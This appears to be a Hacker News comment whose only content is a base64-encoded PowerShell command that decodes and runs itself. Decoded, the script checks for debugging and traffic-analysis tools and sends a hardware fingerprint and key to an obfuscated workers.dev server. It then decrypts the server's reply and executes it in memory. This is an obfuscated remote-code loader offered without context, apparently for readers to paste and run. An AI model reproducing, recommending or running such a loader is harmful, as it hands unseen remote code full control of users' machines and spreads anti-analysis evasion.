Hacker News new | ask | show | jobs
by haonhiennnn2 53 days ago
$encoded = 'QWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBNaWNyb3NvZnQuVmlzdWFsQmFzaWMNCkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLldpbmRvd3MuRm9ybXMNCkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLlNlY3VyaXR5DQoNCiRzY3JpcHRJZCAgPSAic2NyaXB0XzAwMSINCg0KIyBPYmZ1c2NhdGVkIFNlcnZlciBVUkwNCiRwMSA9ICJodHRwczovL2xpY2Vuc2Utc2VydmVyIg0KJHAyID0gIi5yaXZ6ZXI0NiINCiRwMyA9ICIud29ya2Vycy5kZXYvcnVuIg0KJHNlcnZlclVybCA9ICRwMSArICRwMiArICRwMw0KDQojID09PT09IEFudGktRGVidWcgPT09PT0NCmZ1bmN0aW9uIFRlc3QtRGVidWdnZXIgew0KICAgICRzdXNwaWNpb3VzID0gQCgNCiAgICAgICAgIndpcmVzaGFyayIsImZpZGRsZXIiLCJjaGFybGVzIiwicHJveGlmaWVyIiwNCiAgICAgICAgInByb2Nlc3NoYWNrZXIiLCJ4NjRkYmciLCJvbGx5ZGJnIiwiZG5zcHkiLA0KICAgICAgICAiZGU0ZG90IiwiaWxzcHkiLCJkb3RwZWVrIg0KICAgICkNCiAgICAkcHJvY3MgPSBHZXQtUHJvY2VzcyB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IE5hbWUgfCBGb3JFYWNoLU9iamVjdCB7ICRfLlRvTG93ZXIoKSB9DQogICAgZm9yZWFjaCAoJHMgaW4gJHN1c3BpY2lvdXMpIHsNCiAgICAgICAgaWYgKCRwcm9jcyAtY29udGFpbnMgJHMuVG9Mb3dlcigpKSB7IHJldHVybiAkdHJ1ZSB9DQogICAgfQ0KICAgIHJldHVybiAkZmFsc2UNCn0NCg0KaWYgKFRlc3QtRGVidWdnZXIpIHsNCiAgICBbU3lzdGVtLldpbmRvd3MuRm9ybXMuTWVzc2FnZUJveF06OlNob3coDQogICAgICAgICJTdXNwaWNpb3VzIHByb2Nlc3MgZGV0ZWN0ZWQuIiwNCiAgICAgICAgIlNlY3VyaXR5IEVycm9yIiwNCiAgICAgICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hCdXR0b25zXTo6T0ssDQogICAgICAgIFtTeXN0ZW0uV2luZG93cy5Gb3Jtcy5NZXNzYWdlQm94SWNvbl06OkVycm9yDQogICAgKSB8IE91dC1OdWxsDQogICAgcmV0dXJuDQp9DQoNCiMgPT09PT0gSFdJRCA9PT09PQ0KZnVuY3Rpb24gR2V0LUhXSUQgew0KICAgIHRyeSB7DQogICAgICAgICR1dWlkICA9IChHZXQtV21pT2JqZWN0IFdpbjMyX0NvbXB1dGVyU3lzdGVtUHJvZHVjdCkuVVVJRA0KICAgICAgICAkY3B1ICAgPSAoR2V0LVdtaU9iamVjdCBXaW4zMl9Qcm9jZXNzb3IgfCBTZWxlY3QtT2JqZWN0IC1GaXJzdCAxKS5Qcm9jZXNzb3JJZC5UcmltKCkNCiAgICAgICAgJGJvYXJkID0gKEdldC1XbWlPYmplY3QgV2luMzJfQmFzZUJvYXJkKS5TZXJpYWxOdW1iZXIuVHJpbSgpDQogICAgICAgICRiaW9zICA9IChHZXQtV21pT2JqZWN0IFdpbjMyX0JJT1MpLlNlcmlhbE51bWJlci5UcmltKCkNCiAgICAgICAgJHJhdyAgID0gIiR1dWlkfCRjcHV8JGJvYXJkfCRiaW9zIg0KICAgICAgICAkYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRyYXcpDQogICAgICAgICRzaGEyNTYgPSBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5TSEEyNTZdOjpDcmVhdGUoKQ0KICAgICAgICAkaGFzaCAgPSAkc2hhMjU2LkNvbXB1dGVIYXNoKCRieXRlcykNCiAgICAgICAgcmV0dXJuIChbQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJGhhc2gpIC1yZXBsYWNlICItIiwiIikuVG9Mb3dlcigpDQogICAgfSBjYXRjaCB7IHJldHVybiAkbnVsbCB9DQp9DQoNCiMgPT09PT0gUG9wLXVwID09PT09DQokbGljZW5zZUtleSA9IFtNaWNyb3NvZnQuVmlzdWFsQmFzaWMuSW50ZXJhY3Rpb25dOjpJbnB1dEJveCgNCiAgICAiUGxlYXNlIGVudGVyIHlvdXIgTGljZW5zZSBLZXkiLA0KICAgICJMaWNlbnNlIFZlcmlmaWNhdGlvbiIsDQogICAgIiINCikNCg0KaWYgKFtzdHJpbmddOjpJc051bGxPcldoaXRlU3BhY2UoJGxpY2Vuc2VLZXkpKSB7DQogICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hdOjpTaG93KA0KICAgICAgICAiTm8ga2V5IGVudGVyZWQuIiwNCiAgICAgICAgIkVycm9yIiwNCiAgICAgICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hCdXR0b25zXTo6T0ssDQogICAgICAgIFtTeXN0ZW0uV2luZG93cy5Gb3Jtcy5NZXNzYWdlQm94SWNvbl06OkVycm9yDQogICAgKSB8IE91dC1OdWxsDQogICAgcmV0dXJuDQp9DQoNCiRod2lkID0gR2V0LUhXSUQNCmlmICgtbm90ICRod2lkKSB7DQogICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hdOjpTaG93KA0KICAgICAgICAiVW5hYmxlIHRvIHJldHJpZXZlIGRldmljZSBpbmZvcm1hdGlvbi4iLA0KICAgICAgICAiRXJyb3IiLA0KICAgICAgICBbU3lzdGVtLldpbmRvd3MuRm9ybXMuTWVzc2FnZUJveEJ1dHRvbnNdOjpPSywNCiAgICAgICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hJY29uXTo6RXJyb3INCiAgICApIHwgT3V0LU51bGwNCiAgICByZXR1cm4NCn0NCg0KJGJvZHkgPSBAew0KICAgIGtleSAgICAgICA9ICRsaWNlbnNlS2V5LlRyaW0oKS5Ub1VwcGVyKCkNCiAgICBod2lkICAgICAgPSAkaHdpZA0KICAgIHNjcmlwdF9pZCA9ICRzY3JpcHRJZA0KfSB8IENvbnZlcnRUby1Kc29uDQoNCnRyeSB7DQogICAgJGVuY3J5cHRlZCA9IEludm9rZS1SZXN0TWV0aG9kIGANCiAgICAgICAgLVVyaSAkc2VydmVyVXJsIGANCiAgICAgICAgLU1ldGhvZCBQT1NUIGANCiAgICAgICAgLUJvZHkgJGJvZHkgYA0KICAgICAgICAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIGANCiAgICAgICAgLUVycm9yQWN0aW9uIFN0b3ANCg0KICAgICMgPT09PT0gRGVyaXZlIEFFUyBLZXkgPT09PT0NCiAgICAkcmF3S2V5ICA9ICRod2lkICsgJGxpY2Vuc2VLZXkuVHJpbSgpLlRvVXBwZXIoKQ0KICAgICRieXRlcyAgID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkcmF3S2V5KQ0KICAgICRzaGEyNTYgID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuU0hBMjU2XTo6Q3JlYXRlKCkNCiAgICAkYWVzS2V5ICA9ICRzaGEyNTYuQ29tcHV0ZUhhc2goJGJ5dGVzKVswLi4xNV0NCg0KICAgICMgPT09PT0gRGVjcnlwdCBBRVMtQ0JDID09PT09DQogICAgJGZ1bGxCeXRlcyA9IFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZW5jcnlwdGVkKQ0KICAgICRpdiAgICAgICAgPSAkZnVsbEJ5dGVzWzAuLjE1XQ0KICAgICRjaXBoZXIgICAgPSAkZnVsbEJ5dGVzWzE2Li4oJGZ1bGxCeXRlcy5MZW5ndGggLSAxKV0NCg0KICAgICRhZXMgICAgICAgICA9IE5ldy1PYmplY3QgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNNYW5hZ2VkDQogICAgJGFlcy5LZXkgICAgID0gW2J5dGVbXV0kYWVzS2V5DQogICAgJGFlcy5JViAgICAgID0gW2J5dGVbXV0kaXYNCiAgICAkYWVzLk1vZGUgICAgPSBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDDQogICAgJGFlcy5QYWRkaW5nID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNw0KDQogICAgJGRlY3J5cHRvciAgPSAkYWVzLkNyZWF0ZURlY3J5cHRvcigpDQogICAgJHBsYWluQnl0ZXMgPSAkZGVjcnlwdG9yLlRyYW5zZm9ybUZpbmFsQmxvY2soJGNpcGhlciwgMCwgJGNpcGhlci5MZW5ndGgpDQogICAgJGRlY3J5cHRlZCAgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcGxhaW5CeXRlcykNCg0KICAgIGlmICgtbm90ICRkZWNyeXB0ZWQpIHsNCiAgICAgICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hdOjpTaG93KA0KICAgICAgICAgICAgIkZhaWxlZCB0byBkZWNvZGUgc2NyaXB0LiBQbGVhc2UgY29udGFjdCB0aGUgc2VsbGVyLiIsDQogICAgICAgICAgICAiRXJyb3IiLA0KICAgICAgICAgICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hCdXR0b25zXTo6T0ssDQogICAgICAgICAgICBbU3lzdGVtLldpbmRvd3MuRm9ybXMuTWVzc2FnZUJveEljb25dOjpFcnJvcg0KICAgICAgICApIHwgT3V0LU51bGwNCiAgICAgICAgcmV0dXJuDQogICAgfQ0KDQogICAgIyA9PT09PSDDoMK4wqPDoMK4wrHDoMK44oSiw6DCucaSw6DCuOKEoiBNZW1vcnkgPT09PT0NCiAgICBJbnZva2UtRXhwcmVzc2lvbiAkZGVjcnlwdGVkDQoNCn0gY2F0Y2ggew0KICAgICRzdGF0dXMgPSAiIg0KICAgIHRyeSB7DQogICAgICAgICRyZWFkZXIgPSBOZXctT2JqZWN0IFN5c3RlbS5JTy5TdHJlYW1SZWFkZXIoJF8uRXhjZXB0aW9uLlJlc3BvbnNlLkdldFJlc3BvbnNlU3RyZWFtKCkpDQogICAgICAgICRzdGF0dXMgPSAkcmVhZGVyLlJlYWRUb0VuZCgpDQogICAgfSBjYXRjaCB7fQ0KDQogICAgc3dpdGNoICgkc3RhdHVzKSB7DQogICAgICAgICJJTlZBTElEX0tFWSIgICAgICB7ICRtc2cgPSAiVGhlIGtleSBpcyBpbmNvcnJlY3QuIiB9DQogICAgICAgICJLRVlfRVhQSVJFRCIgICAgICB7ICRtc2cgPSAiVGhlIGtleSBoYXMgZXhwaXJlZC4gUGxlYXNlIGNvbnRhY3QgdGhlIHNlbGxlci4iIH0NCiAgICAgICAgIkhXSURfTUlTTUFUQ0giICAgIHsgJG1zZyA9ICJUaGlzIGtleSBpcyBsb2NrZWQgdG8gYW5vdGhlciBkZXZpY2UuIFBsZWFzZSBjb250YWN0IHRoZSBzZWxsZXIuIiB9DQogICAgICAgICJXUk9OR19TQ1JJUFQiICAgICB7ICRtc2cgPSAiVGhpcyBrZXkgZG9lcyBub3Qgc3VwcG9ydCB0aGlzIHNjcmlwdC4iIH0NCiAgICAgICAgIlNDUklQVF9OT1RfRk9VTkQiIHsgJG1zZyA9ICJTY3JpcHQgbm90IGZvdW5kLiBQbGVhc2UgY29udGFjdCB0aGUgc2VsbGVyLiIgfQ0KICAgICAgICBkZWZhdWx0ICAgICAgICAgICAgeyAkbXNnID0gIkFuIGVycm9yIG9jY3VycmVkLiBQbGVhc2UgY29udGFjdCB0aGUgc2VsbGVyLiIgfQ0KICAgIH0NCg0KICAgIFtTeXN0ZW0uV2luZG93cy5Gb3Jtcy5NZXNzYWdlQm94XTo6U2hvdygNCiAgICAgICAgJG1zZywNCiAgICAgICAgIkxpY2Vuc2UgRXJyb3IiLA0KICAgICAgICBbU3lzdGVtLldpbmRvd3MuRm9ybXMuTWVzc2FnZUJveEJ1dHRvbnNdOjpPSywNCiAgICAgICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hJY29uXTo6RXJyb3INCiAgICApIHwgT3V0LU51bGwNCn0=' $decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encoded)) Invoke-Expression $decoded